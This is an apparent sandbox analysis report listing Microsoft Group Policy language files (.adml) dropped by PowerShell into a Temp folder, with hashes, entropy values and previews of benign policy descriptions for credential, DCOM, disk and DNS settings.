Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Users">User Accounts</string>.. <string id="Users_Help">Contains settings to control the behavior of User Accounts</string>.. <string id="UseDefaultTile">Apply the default account picture to all users</string>.. <string id="UseDefaultTile_Help">This policy setting allows an administrator to standardize the account pictures for all users on a system to the default account picture. One application for this policy setting is to standardize the account pictures to a company logo.....Note: The default acc

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CredSsp.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (369), with CRLF line terminators
Category:	dropped
Size (bytes):	20162
Entropy (8bit):	4.80118154121946
Encrypted:	false
SSDEEP:	192:EYLfqDwf4tdJ11wpL9uiansm9cjoOkfmW/MQfB:9qtVPaxu5mUTOYJ
MD5:	3F887766536AE5C7677E841C9A1E86F6
SHA1:	C3BFB966D06DF84A5BD9FCDD9C0CAF23A4F85B28
SHA-256:	91A36F497D459EF96B4CEDB88EE0884651D8B5C0EABCE1C1F4FEC6D49FF71A31
SHA-512:	7777FF19B4B1108A2688D02F25AC69E3F66D87F44A42AD60596B447188728B231E148E67390B39B7CBCF62E83121ECB55A84CB3D72A55827C0489FADABA5469C
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="AllowDefaultCredentials">Allow delegating default credentials</string>.. <string id="AllowDefaultCredentials_Explain">This policy setting applies to applications using the Cred SSP component (for example: Remote Desktop Connection).....This policy setting applies when server authentication was achieved by using a trusted X509 certificate or Kerberos.....If you enable this policy setting, you can specify the servers to which the user's default credentials can be delegated (default credentials are those that you

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CredUI.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with CRLF line terminators
Category:	dropped
Size (bytes):	3126
Entropy (8bit):	4.730467503379261
Encrypted:	false
SSDEEP:	96:LeD5pmUes8vc8gDcwFalisWNFIXwN30M5vYFV:Etes8vc8gowUAvIXwN30M5vYn
MD5:	1C00F0E54B646BACA8571FC0B7BE9582
SHA1:	0494D0849B95970D96E480C9B00C3694E4D50029
SHA-256:	625371BBA40530A9A4A88E167B4870634F7583BB601D16954ED8FF4A0E5242E9
SHA-512:	99A2B51A6ADDF470B15DFDC2D3D32CA305113C427CDF7C3B85FD3BD43F17B989B5BEA38BA78821DA5A8978437DD3E484CCB283D9B01B737C05C4B7D82288D749
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CredUI">Credential User Interface</string>.. <string id="CredUI_Help">Contains settings to control the behavior of credential collection.</string>.. <string id="EnumerateAdministrators">Enumerate administrator accounts on elevation</string>.. <string id="EnumerateAdministrators_Help">This policy setting controls whether administrator accounts are displayed when a user attempts to elevate a running application. By default, administrator accounts are not displayed when the user attempts to elevate a ru

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CredentialProviders.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (479), with CRLF line terminators
Category:	dropped
Size (bytes):	5460
Entropy (8bit):	4.757258895669925
Encrypted:	false
SSDEEP:	96:LeD5pmAznn5XkKkcx1ftU6beY3rqFimzWSsdK/l+3yY8V:Ejznn5XkJcx1fdPrqFOXU/loyb
MD5:	B735FF00BD6511F0525C74881042CFBF
SHA1:	F9540A99E5654EA5F6B7AAF49CE35F591CEC2863
SHA-256:	FF1B853B846EA63064AD460B42C44230DE008297B6A2DDB8DAA48991A5684C14
SHA-512:	A585AE89C4B13A6A2DE50D414069FE40D3DB53395A4E79B5865B530ACC6963B2C89647D2735B27229503B58BAC47B4C43B38E6E2BEB00B81EC6F1D76DB441C06
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DefaultLogonDomain">Assign a default domain for logon</string>.. <string id="DefaultLogonDomain_Help">This policy setting specifies a default logon domain, which might be a different domain than the domain to which the computer is joined. Without this policy setting, at logon, if a user does not specify a domain for logon, the domain to which the computer belongs is assumed as the default domain. For example if the computer belongs to the Fabrikam domain, the default domain for user logon is Fabrikam. ....If y

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\CtrlAltDel.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (353), with CRLF line terminators
Category:	dropped
Size (bytes):	3490
Entropy (8bit):	4.799993012083926
Encrypted:	false
SSDEEP:	48:cgeD5x8gm8fKwZJBaoC9DxBboMEBar+Nc456uFDPrJNBFiy4jyDznyHSMrmdzcFV:LeD5pm8ZJjQDxXONcOXNB9HyHbrvFV
MD5:	8EB6CBECFCFB7FB15E453E235713F0D2
SHA1:	37170BA6139BD471C4121ED7747E8C9544E64E4A
SHA-256:	23EAF2144B343ACCE5EC33DFB0363BA5B53E1ED8F5E0557F7597F02C1A659B0C
SHA-512:	F3B96C2721592E9C5CD8CAF20DACCAE170B46BDBBBD24D4A6D1ACC3CA3D10BFA9AC23DA2B5B3F9CF7D9F7918236C1C686918BB392595C634E97B56070AEDE007
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CADOptions">Ctrl+Alt+Del Options</string>.. <string id="DisableChangePassword">Remove Change Password</string>.. <string id="DisableChangePassword_Help">This policy setting prevents users from changing their Windows password on demand.....If you enable this policy setting, the 'Change Password' button on the Windows Security dialog box will not appear when you press Ctrl+Alt+Del.....However, users are still able to change their password when prompted by the system. The system prompts users for a new pass

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DCOM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (507), with CRLF line terminators
Category:	dropped
Size (bytes):	5072
Entropy (8bit):	4.789995597871682
Encrypted:	false
SSDEEP:	96:LeD5pmc4qzQuQ+kCO+QW9JvqIiErBAqHPkGitHqEJw2mL8ykL3/NBV:El4qE9+kCOtW9dqIiErBAgPk/tKEJw2D
MD5:	7DF9E61D5F72660A48741A9D1AE6DF2A
SHA1:	A623BD2021EAA8863519E110E2C4D141D68E6DEE
SHA-256:	BD0E69BF353115E23B4344875DA15DF78BD4ADF676EEAB35AED30A21C129EBED
SHA-512:	726FC2BD5444E1791811C9F39B3B535D155AA0BA2AC8B50F7A8B6FAF48E7BEDBD542C96C701A1CD58B1C89B89DA04D9C175E9CCDE70DA27C92E073E570138DD1
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DCOM">Distributed COM</string>.. <string id="DCOMActivationSecurityCheckAllowLocalList">Allow local activation security check exemptions</string>.. <string id="DCOMActivationSecurityCheckAllowLocalList_Explain">Allows you to specify that local computer administrators can supplement the "Define Activation Security Check exemptions" list.....If you enable this policy setting, and DCOM does not find an explicit entry for a DCOM server application id (appid) in the "Define Activation Security Check exemptions

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DFS.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1550
Entropy (8bit):	4.934966284712348
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yAyjP9jlFxUy3QviR0IhjV:cgeD5x8gm8fK0jlFxUM7FV
MD5:	59649458234FA8EC0FA1CCF6D1A1F000
SHA1:	FA84DC8C633AC66D93C2CC4CA82973690CC01B06
SHA-256:	7C621BDFA9AAFBB72C6E3EAA6BD9DADB9B87B76FF3085C3AB85F94A4BA74148B
SHA-512:	3DAC7345CDF6E474EC6550890D2581E97CECCBDF3D6DA446D0B4051600B81E66725E20E3905FC8ED051E00AE74B7899ECEC073C828E776FB664731218F88E528
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DFSDiscoverDC">Configure how often a DFS client discovers domain controllers</string>.. <string id="DFSDiscoverDC_Help">This policy setting allows you to configure how often a Distributed File System (DFS) client attempts to discover domain controllers on a network. By default, a DFS client attempts to discover domain controllers every 15 minutes.....If you enable this policy setting, you can configure how often a DFS client attempts to discover domain controllers. This value is specified in minutes.....If you

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DWM.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	4823
Entropy (8bit):	4.829103521253636
Encrypted:	false
SSDEEP:	96:LeD5pm8i9yPYwH70day2JGkA5mZAOtfMtlV:E1i9Yn0zMA3G6
MD5:	8C0C1F2AC3237B8AA71F88A5650C0E68
SHA1:	8A39FC535339841CC7573B1DCFF729CEC8E54114
SHA-256:	844BF77E54E0C353537B0D1349F0173049DD36C0CB64EAEE900663CD0A227AB4
SHA-512:	C6F8AC395D011EC45EBF47812EBEBF7E152DB6A943566B744AA83B22529DF07E3D0749D008B5F3A8A46953CCCF39305966869E5EFE502B1E727CF55ED7A05F4F
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="CAT_DesktopWindowManager">Desktop Window Manager</string>.. <string id="CAT_DesktopWindowManagerColorization">Window Frame Coloring</string>.. <string id="DwmDefaultColorizationColor">Specify a default color</string>.. <string id="DwmDefaultColorizationColorExplain">This policy setting controls the default color for window frames when the user does not specify a color. ....If you enable this policy setting and specify a default color, this color is used in glass window frames, if the user does not sp

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\Desktop.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (543), with CRLF line terminators
Category:	dropped
Size (bytes):	22651
Entropy (8bit):	4.740040645096249
Encrypted:	false
SSDEEP:	384:sHlNSiouVHqVHdjZjfYBi1lkmX15/5GYyr2cci:qNSiVs9jBwBiHk0v/5Grrh
MD5:	3B0954050C6DFF90CAE771936C61F536
SHA1:	5D6D1097DE13011B78271272B87DE55C2BFFCEA8
SHA-256:	F8DA2C6952EBABA7C70F5BB5941532A2E6112955E3E340F003581E96BB7B0881
SHA-512:	097C9E8A0B5BC0B97777F6A591E7CEF5A2362668B05C42624593069FD4F2E6279EA8D83CBCADA7C973E9E1CCED78B1149889A333021FA904A23BF0D6FBEC06FC
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="ActiveDesktop">Desktop</string>.. <string id="ActiveDirectory">Active Directory</string>.. <string id="AD_EnableFilter">Enable filter in Find dialog box</string>.. <string id="AD_EnableFilter_Help">Displays the filter bar above the results of an Active Directory search. The filter bar consists of buttons for applying additional filters to search results.....If you enable this setting, the filter bar appears when the Active Directory Find dialog box opens, but users can hide it.....If you disable this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DeviceCompat.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1012
Entropy (8bit):	5.014566400985145
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yFMNWe2PEYLdFV:cgeD5x8gm8fKOE+FV
MD5:	8C5BFC23602CF18E6EC73BDF468C5C65
SHA1:	87C49103ECB11F3284DE1311D305CE426DA77573
SHA-256:	5FE3FC627DFAEDDEDDD5C617D4DDD1AB367353A97026268C27AB45B8A9025472
SHA-512:	ED4BF6B6D7F2F5B248DF14DAA85551613583E8DCFD734266E08296F0DCB52055A2CAD56C23DDFA20EA3315A9DD3B3D538EE673C89E97CFC8D5D9BE39BB575794
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceCompat">Device and Driver Compatibility</string>.. <string id="DeviceFlags">Device compatibility settings</string>.. <string id="DriverShims">Driver compatibility settings</string>.. <string id="DeviceFlags_Help">Changes behavior of Microsoft bus drivers to work with specific devices.</string>.. <string id="DriverShims_Help">Changes behavior of 3rd-party drivers to work around incompatibilities introduced between OS versions.</string>.. </stringTable>.. </resources>..</policyDefinition

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DeviceInstallation.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (671), with CRLF line terminators
Category:	dropped
Size (bytes):	20516
Entropy (8bit):	4.656487634133671
Encrypted:	false
SSDEEP:	384:/Zy2dT4b3O+5KeqO+cpm964BNLKsuV2r4tFHsAvRzw3g:/ZBub+EKebxpm97ODVy4rHb5EQ
MD5:	B0D80E37838946A958789511D6090800
SHA1:	E80EBC94D870B40E9925D9473E83438287A3DF50
SHA-256:	EAD0368B0AB7404ADDC0B8BD016E04D43C7A1E370A2875A6785863A53CC94095
SHA-512:	A13D7AA56FA39803B8CB441DD6907A0F06E2B89EB478B6C6D57687F0E154DE44EF959411627C33D5652D096E439F6518C624A4F159189C8DA7AD51370FB12AD3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceInstall_AllowAdminInstall">Allow administrators to override Device Installation Restriction policies</string>.. <string id="DeviceInstall_AllowAdminInstall_Help">This policy setting allows you to determine whether members of the Administrators group can install and update the drivers for any device, regardless of other policy settings.....If you enable this policy setting, members of the Administrators group can use the Add Hardware wizard or the Update Driver wizard to install and update the drivers for

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DeviceSetup.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (308), with CRLF line terminators
Category:	dropped
Size (bytes):	8722
Entropy (8bit):	4.755555827203055
Encrypted:	false
SSDEEP:	96:LeD5pm90hTxQOL2iYoQkdN+Rn+kJu+G6f9Yh3VfPtvCchfvaCz+51qMnHV:EbTmUvQkdN+F+au+G6etntbz+5su
MD5:	9E7C326DCCFD5BDAE53F0FF7359042CF
SHA1:	BFC33D23A42406EF057AC21BCECA4310C256C901
SHA-256:	4E1BC9FDA548EEBF29A499B61CE0462983DD461DB84F4B2C63150636B917036B
SHA-512:	96C937F5F6871D7BD0F3FDF0B6D502232C29C6E77DE7B1FD0A79DB4ADBC7EAAFBC0A60C76C8AF6D5D85CA7397A4C995BE385320C64D23076A7658C1B1187A624
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DeviceInstall_BalloonTips">Turn off "Found New Hardware" balloons during device installation</string>.. <string id="DeviceInstall_BalloonTips_Help">This policy setting allows you to turn off "Found New Hardware" balloons during device installation.....If you enable this policy setting, "Found New Hardware" balloons do not appear while a device is being installed.....If you disable or do not configure this policy setting, "Found New Hardware" balloons appear while a device is being installed, unless the driver

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DigitalLocker.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1186
Entropy (8bit):	5.006514157459994
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yEgDfJvRl9xCRMRq9MXJz1c2igRE3RwMwFxRjX/5Ron:cgeD5x8gm8fKqTtW9M71ibKMFV
MD5:	A4EECA9FC18FD2F595ECC98FD40E0F5F
SHA1:	EFBAB95F94C418BE4B025F3CA14BA3441C1D7CE8
SHA-256:	348B0A60BCA267759CA52611C67B06AB3347CAB23786C257D984EB7F3F94C6A2
SHA-512:	11A2FB546E64CA105CE63E313FCDDE0950939C5981BEEC4D04CEB0C0C43EB573CC3C5444E71BBD12AD04A902CB4D3FC7C41EB4E9BA601232041716CEE0835622
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="Digitalx_DiableApplication_TitleText">Do not allow Digital Locker to run</string>.. <string id="Digitalx_DisableApplication_DescriptionText">Specifies whether Digital Locker can run.....Digital Locker is a dedicated download manager associated with Windows Marketplace and a feature of Windows that can be used to manage and download products acquired and stored in the user's Windows Marketplace Digital Locker.....If you enable this setting, Digital Locker will not run.....If you disable or do not configure this

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DiskDiagnostic.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (349), with CRLF line terminators
Category:	dropped
Size (bytes):	4016
Entropy (8bit):	4.799918196062888
Encrypted:	false
SSDEEP:	96:LeD5pmNIlyc4TNq1nCsXGT1fnC7SqnBU+l4vnjzyJ1nCsXGT1fnWmoV:EeIlyc4TN0psngSUG+l4vnjzy3psnWP
MD5:	98FB5567E5194E5E7430C553FD07EE50
SHA1:	9CD9DE9B3E9FAD928DCBB73225B7F77B21D7F532
SHA-256:	3EE2D33B8C14490D4315F669873B1E4747EF4C99CF83CB3214FBE02774DF322D
SHA-512:	2DC8749CB1E401E4A7753933861081D80AB9D11D349730289E36FD59EF3F76CFCE63AC71864B7239C05CFAD12F89D7991F1AA79E78751F926A941F82EADD23C3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. BEGIN: Custom supportedOn strings -->.. <string id="SUPPORTED_WindowsLonghornServerDesktopExperienceOrVista">.. Windows Server 2008 with Desktop Experience installed or Windows Vista.. </string>.. END: Custom supportedOn strings -->.. <string id="DfdAlertPolicy">Disk Diagnostic: Configure custom alert text</string>.. <string id="DfdAlertPolicyExplain">This policy setting substitutes custom alert text in the disk diagnostic message shown to users when a disk reports a S.M.A.R.T. f

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DiskNVCache.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (552), with CRLF line terminators
Category:	dropped
Size (bytes):	4247
Entropy (8bit):	4.68691343915682
Encrypted:	false
SSDEEP:	96:LeD5pm+vfC9KJ5V/MztbEUiTKD48mRCjme9E5J9eWFV:EJN/MdEUiTKs8mwM8Wn
MD5:	74FF3350EF82B0E11EF64C762CF28BE3
SHA1:	8D7BB871CC583EB03E3E104FDC50FCBC974527EB
SHA-256:	D94738C802A64BDA9CCA3947096A97B4DAC05730BD55441ED552595422103A9F
SHA-512:	0729601AD1E861F7DA3E39ECC3878A37AFA3E37C92924446B28FA6BDFB4189D024B7F4E5CE0BF29FE4EB3B51DFA98FE07B7A560DDC521FBDAB4E50EA6C6160C2
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="BootResumePolicy">Turn off boot and resume optimizations</string>.. <string id="BootResumePolicyHelp">This policy setting turns off the boot and resume optimizations for the hybrid hard disks in the system.....If you enable this policy setting, the system does not use the non-volatile (NV) cache to optimize boot and resume.....If you disable this policy setting, the system uses the NV cache to achieve faster boot and resume. The system determines the data that will be stored in the NV cache to optimize boot an

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DiskQuota.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, Unicode text, UTF-8 text, with very long lines (382), with CRLF line terminators
Category:	dropped
Size (bytes):	9312
Entropy (8bit):	4.685669628790155
Encrypted:	false
SSDEEP:	96:LeD5pmUA7x7OOWbm7kiE7EC/8GxKU0zOZqIc5fKSuBGfvbKqbKJajDrSy5G+YGmI:EOpKz98U0CgfKSFnWqBXrjksmw03Tja
MD5:	40CA6688DCC63C37ADC92B8CE44A47E1
SHA1:	584E5E4433F642B09081A68167436F41D3615867
SHA-256:	9EA35D39FAB49421022E213BE5B8A66404B41BEB2202E17C94BF557FB8C349C4
SHA-512:	7711A24BE790431495051BAE7DA407FA961748374C0936CB49FD4F421425C4D92458C5F8E2C356E70923EB91D0DE100D6EB7F401D2EF03A18DD590F7FEF8314A
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DiskQuota">Disk Quotas</string>.. <string id="DQ_Enable">Enable disk quotas</string>.. <string id="DQ_Enable_Help">This policy setting turns on and turns off disk quota management on all NTFS volumes of the computer, and prevents users from changing the setting.....If you enable this policy setting, disk quota management is turned on, and users cannot turn it off.....If you disable the policy setting, disk quota management is turned off, and users cannot turn it on.....If this policy setting is not config

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DistributedLinkTracking.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (575), with CRLF line terminators
Category:	dropped
Size (bytes):	1218
Entropy (8bit):	4.961559763430255
Encrypted:	false
SSDEEP:	24:2dgeD5eo8gWt4+3Fbef61yQJmjI7JMHkJNMLsDe7MBMZc1zcqoFV:cgeD5x8gm8fKxmEPnMLkeKMokFV
MD5:	8B49ABCA606DF290D14944330F11A796
SHA1:	5FD7496C8553485972A7B35E75386A0CB98199AF
SHA-256:	25D3882376CC864E14BF8CBD16065971C8C5F1C88FCEF7C60B4213604F893272
SHA-512:	F7C3B0CE37F00F281DCDF46A421295D2CD79298852B2302624CD4AFD27EED160FFB4B9003C2096851DD884E8708000282D55876CFC1FA853DCB437FA65D3F8F3
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DLT_AllowDomainMode">Allow Distributed Link Tracking clients to use domain resources</string>.. <string id="DLT_AllowDomainMode_Explain">Specifies that Distributed Link Tracking clients in this domain may use the Distributed Link Tracking (DLT) server, which runs on domain controllers. The DLT client enables programs to track linked files that are moved within an NTFS volume, to another NTFS volume on the same computer, or to an NTFS volume on another computer. The DLT client can more reliably track links

C:\Users\user\AppData\Local\Temp\file\Resource\en-US\DnsClient.adml

Download File

Process:	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
File Type:	XML 1.0 document, ASCII text, with very long lines (896), with CRLF line terminators
Category:	dropped
Size (bytes):	31344
Entropy (8bit):	4.717542963262439
Encrypted:	false
SSDEEP:	384:zlbkZcHOReR932i5D5Zbng2C5stOeoXYaYENfOenLtWeoXYaYENfwleyLLhbxEHq:u5XYlXYfleQlnzmW
MD5:	7B88F32185E7AEE9D215D367F531C628
SHA1:	086E5D851CBD967E907A54539DA3DE95F2F53916
SHA-256:	A60EA72F20C54DC7362CB26A10970B4BEDAC5E257E20317BD2CACA1E289DB08D
SHA-512:	70CF1A3642D0C6D6866B713DE7A52857CB550C6490B8C62A9605BEFE3811525C3081DCE9DE9F881C361FE88694C256EB03EA168FD489BE9CB0AC48AE4F244BAE
Malicious:	false
Preview:	<?xml version="1.0" encoding="utf-8"?>.. (c) 2006 Microsoft Corporation -->..<policyDefinitionResources xmlns:xsd="http://www.w3.org/2001/XMLSchema" xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance" revision="1.0" schemaVersion="1.0" xmlns="http://schemas.microsoft.com/GroupPolicy/2006/07/PolicyDefinitions">.. <displayName>enter display name here</displayName>.. <description>enter description here</description>.. <resources>.. <stringTable>.. <string id="DNS_Client">DNS Client</string>.. <string id="DNS_Domain">Connection-specific DNS suffix</string>.. <string id="DNS_Domain_Help">Specifies a connection-specific DNS suffix. This policy setting supersedes local connection-specific DNS suffixes, and those configured using DHCP.....To use this policy setting, click Enabled, and then enter a string value representing the DNS suffix.....If you enable this policy setting, the DNS suffix that you enter will be applied to all network connections used by computers

